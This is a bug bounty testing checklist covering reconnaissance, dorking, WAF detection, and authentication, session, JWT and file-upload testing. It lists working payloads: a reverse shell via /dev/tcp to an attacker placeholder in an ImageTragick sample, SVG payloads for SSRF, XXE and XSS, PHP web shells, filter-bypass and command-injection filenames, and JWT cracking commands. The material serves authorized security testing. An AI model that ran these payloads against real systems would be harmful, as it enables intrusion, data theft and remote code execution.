Bug Bounty

Master Checklist

Custom Header Setup

Steps to Add Custom Header in Burp Requests

• Select Proxy -> Options

• Go to Match and Replace and select add

• Specify the details of the match and replace as shown below

  1. Type: Request Header

  2. Match: Leave blank to add a new header

  3. Replace: [email protected]

  4. Comment: Manually BBP header

Information Gathering

LeakIX - often blocked by organizations for gray hat searches Shodan - scans less frequently than LeakIX but whitelisted Censys - best overall scanner but without vulnerability discovery Chaos.ProjectDiscovery - Real-time Recon/DNS data for Public Bug Bounty Programs Search Engine Dorking ReconFTW - automated recon and vulnerability scanner Uncover - tool used to discover exposed hosts on the internet using multiple search engines PrettyRecon - Active Reconnaissance Tool BountyStrike - collection of bash and python scripts that installs common tools for recon scans and asset discovery

Nuclei - Security check scanner that is based on templates; Get started with Nuclei here Nuclei Templates Directory - Visually navigate available nuclei templates Community edition nuclei templates (CENT) - collect and organize other custom templates

Getting started with some CVE scanning using Nuclei templates:

nuclei -target "https://site.com" -t cves

nuclei -target "https://site.com" -t /path/to/nuclei-templates/cves

nuclei -target "https://site.com" -t cves -rl

Mass security testing on subdomains:

cat site subdomains.txt | nuclei -t /path/to/nuclei-templates/

nuclei -t /path/to/nuclei-templates/ -l urls.txt

-rl, -rate-limit int maximum number of requests to send per second (default 150)

-rlm, -rate-limit-minute int maximum number of requests to send per minute

Combining nuclei scanner with CENT custom templates

nuclei -u https://example.com -t ./cent-nuclei-templates -tags cve

nuclei -l urls.txt -t ./cent-nuclei-templates -tags cve

Daily updated Text file of all domains within scope on active Bug Bounty Programs https://github.com/arkadiyt/bounty-targets-data/blob/main/data/domains.txt

Google Dork	Purpose
intitle:"index of /.git/"	Searching for Directories
allintext:index filetype:git	Search for extensions
inurl:"index.php?id="	Searching for PHP pages
inurl:"admin/dashboard.php" site:.com	Searching for PHP admin dashboards
Intitle: "login" "admin" site:http://site.com	Searching for admin login pages
intitle:"Index of /" .htaccess site:http://site.com	Searching for exposed Apache configuration file
site:website.com inurl:"contact" | inurl:"contact-us" | inurl:"contactus" | inurl:"contcat_us" | inurl:"contact_form" | inurl:"contact-form"	Searching for possible contact form
inurl:http | inurl:url= | inurl:path= | inurl:dest= | inurl:html= | inurl:data= | inurl:domain= | inurl:page= inurl:& site:example[.]com	SSRF Prone Parameters

Shodan Dork	Purpose
hostname:".gov" product:"Jenkins" 200	Searching Jenkins instances in .gov
ssl.cert.subject.CN:"*.google.com"+200	Returns all SSL services that has issued a certificate for *.google.com with an HTTP response code of 200.
ssl.cert.issuer.cn:"DOD SW CA-60" 200	Returns all SSL certificates that have been issued by the DoD with response code of 200

Sensitive Information Exposure methods Use GitTools gitdumper.sh or gittyleaks

• gitdumper.sh http://IPorURL/.git git

Defense Evasion

Attempt to bypass application protections such as Cloudflare, Akamai, etc.

Worth a shot to use the tool by Cloudflare Origin IP by @gwen001

Check to see if application is behind a WAF

wafw00f $URL
whatwaf -u $URL
nmap -p $PORT --script=http-waf-fingerprint,http-waf-detect $URL

Authentication:

Registration

• Input validation

  • Space manipulation & Using Dots & Case sensivity check

  • Checking allowed characters (<> " ')

  • Register using myemail%[email protected] or (%0d, %0a)

  • Register using [email protected]

    • Response manipulate from 401 Unauthorized to 200 Ok or 302 Found

• Analysis

  • Check .js file on the page, such as login.js

  • Check the parameters used on the endpoint

    • Might be listed in the source or js

  • Checking the Mobile Endpoint

    • Does it have the same protection as webapp?

    • How does it treat Unicode characters?

  • Google Dorks

    • site:example.com inurl:register inurl:&

    • site:example.com inurl:signup inurl:&

    • site:example.com inurl:join inurl:&

• Misc

  • Email Takeover

    • Register an Email, before confirming, change the email. check if the new confirmation email is sent to the first registered email.

• Password reset process

  • Password reset tokens (expiration/reuse)

• Failed retry lockout (DoS)

• Password policies

• Update profile information without asking password

• Default or easy to guess keys

• User enumeration

• HTTP Authentication

• Authentication Bypass

• Identify weak authentication channels (Find primary mechanism and identify secondary mechanicsm / methods [Mobile App, Call Center, SSO])

Authorization:

• Testing Directory traversal/file inclusion

• Access to features, functionality or data that should not be available for the current role (privilege escalation, horizontal & vertical, Example: Access admin functionality from a user account without privileges (create, delete, modify users...)

• IDORs

  Example: The following URL returns our profile: target.com/profile?idUser=123 Cambiar por target.com/profile?idUser=124 Do you have access? Should this profile be accessible to our current user?

Session:

• No cookie validation

• Not setting a new cookie (session fixation - logout -> Login again)

• Cookieis easy to reverse engineer (base64/Hash ID)

• Are security options set? (secure/HttpOnly)

  HttpOnly not set? is there an XSS? <script>alert(document.cookie)</script>

• Testing for Cross Site Request Forgery

  Delete token (parameter y header) Forge your own token Use a second identical CSRF parameter Change POST to GET (or reverse, put, etc)

  Features that should be tested: . Add / Upload file · Change Email · Delete files · Change Password · Transfer money · Edit profile

• Logout

  Are you actually logged out? (Session is destroyed)

• Session timeout

  Does the session expire after a reasonable amount of time?

• JWT

  Signature check Check claims (Especially: aud -> "In practical use, this tends to be the "client id" or "client key" of the application that the JWT is intended to be used by."") Signature algorithm Sensitive information in the token How is it revoked? How is it used? How is it processed?

  • c-jwt-cracker

    Brute force, example: ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE

  • jwt_tool

    Check various vulns, crack with dictionary Example: python3 jwt_tool.py

  • JWT2John

  Convert JWT to a format crackable by John python3 jwt2john.py

  Execute John: ./john /tmp/token.txt —wordlist=wordlist.txt

General:

• Test HTTP Methods

• Header Injections

  X-Forwarded-Host: xxxx.com X-Forwarded-For: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1 X-Originating-IP: 127.0.0.1

• Test CORS

• S3 AWS

  • lazys3

  • AWS Cli

  http://bucket.s3.amazonaws.com / http://s3.amazonaws.com/bucket aws s3 cp test.txt s3://target --no-sign-request aws s3 ls s3://target --no-sign-request

  • Metadata Cloud

  • How the AWS Access Key & Secret works****

File Upload:

• Extensions Impact

  • ASP, ASPX, PHP5, PHP, PHP3: Webshell, RCE

  • SVG: Stored XSS, SSRF, XXE

  • GIF: Stored XSS, SSRF

  • CSV: CSV injection

  • XML: XXE

  • AVI: LFI, SSRF

  • HTML, JS : HTML injection, XSS, Open redirect

  • PNG, JPEG: Pixel flood attack (DoS)

  • ZIP: RCE via LFI, DoS

  • PDF, PPTX: SSRF, BLIND XXE

• Blacklisting Bypass

  • PHP → .phtm, phtml, .phps, .pht, .php2, .php3, .php4, .php5, .shtml, .phar, .pgif, .inc

  • ASP → asp, .aspx, .cer, .asa

  • Jsp → .jsp, .jspx, .jsw, .jsv, .jspf

  • Coldfusion → .cfm, .cfml, .cfc, .dbm

  • Using random capitalization → .pHp, .pHP5, .PhAr

• Whitelisting Bypass

  • file.jpg.php

  • file.php.jpg

  • file.php.blah123jpg

  • file.php%00.jpg

  • file.php\x00.jpg this can be done while uploading the file too, name it file.phpD.jpg and change the D (44) in hex to 00.

  • file.php%00

  • file.php%20

  • file.php%0d%0a.jpg

  • file.php.....

  • file.php/

  • file.php.\

  • file.php#.png

  • file.

  • .html

Vulnerabilities

• Directory Traversal

  • Set filename ../../etc/passwd/logo.png

  • Set filename ../../../logo.png as it might changed the website logo.

• SQL Injection

  • Set filename 'sleep(10).jpg.

  • Set filename sleep(10)-- -.jpg.

• Command Injection

  • Set filename ; sleep 10;

• SSRF

  • Abusing the "Upload from URL", if this image is going to be saved in some public site, you could also indicate a URL from IPlogger and steal information of every visitor.

  • SSRF Through .svg file.

  <?xml version="1.0" encoding="UTF-8" standalone="no"?><svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"><image height="200" width="200" xlink:href="https://attacker.com/picture.jpg" /></svg>

• ImageTragic

  push graphic-context
  viewbox 0 0 640 480
  fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
  pop graphic-context

• XXE

  • Upload using .svg file

  <?xml version="1.0" standalone="yes"?>
  <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
  <svg width="500px" height="500px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
     <text font-size="40" x="0" y="16">&xxe;</text>
  </svg>

  <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
      <image xlink:href="expect://ls"></image>
  </svg>

  • Using excel file

XSS

• Set file name filename="svg onload=alert(document.domain)>" , filename="58832_300x300.jpg<svg onload=confirm()>"

• Upload using .gif file

GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;

• Upload using .svg file

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
   <script type="text/javascript">
      alert("HolyBugx XSS");
   </script>
</svg>

• Swagger UI XSS

Open Redirect

• Upload using .svg file

<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='https://attacker.com'"
xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
</svg>
</code>

• Content-ish Bypass

  • Content-type validation

    • Upload file.php and change the Content-type: application/x-php or Content-Type : application/octet-stream to Content-type: image/png or Content-type: image/gif or Content-type: image/jpg.

  • Content-Length validation

    • Small PHP Shell

    (<?=`$_GET[x]`?>)

  • Content Bypass Shell

    • If they check the Content. Add the text "GIF89a;" before you shell-code. ( Content-type: image/gif )

    GIF89a; <?php system($_GET['cmd']); ?>

• Misc

  • Uploading file.js & file.config (web.config)

  • Pixel flood attack using image

  • DoS with a large values name: 1234...99.png

  • Zip Slip

    • If a site accepts .zip file, upload .php and compress it into .zip and upload it. Now visit, site.com/path?page=zip://path/file.zip%23rce.php

  • Image Shell

    • Exiftool is a great tool to view and manipulate exif-data. Then I will to rename the file mv pic.jpg pic.php.jpg

    exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' pic.jpg

Adobe Experience Manager (AEM) Configuration Testing

Shodan Dork:

http.component:"Adobe Experience Manager"

Resources AEM Hacker Tool SlideShare presentation on AEM by 0ang3el

Reporting

CVSS 3.1 Calculator

One-Liners

2FA Bypass

WAF Bypass Methods

Interesting Web Paths/Parameters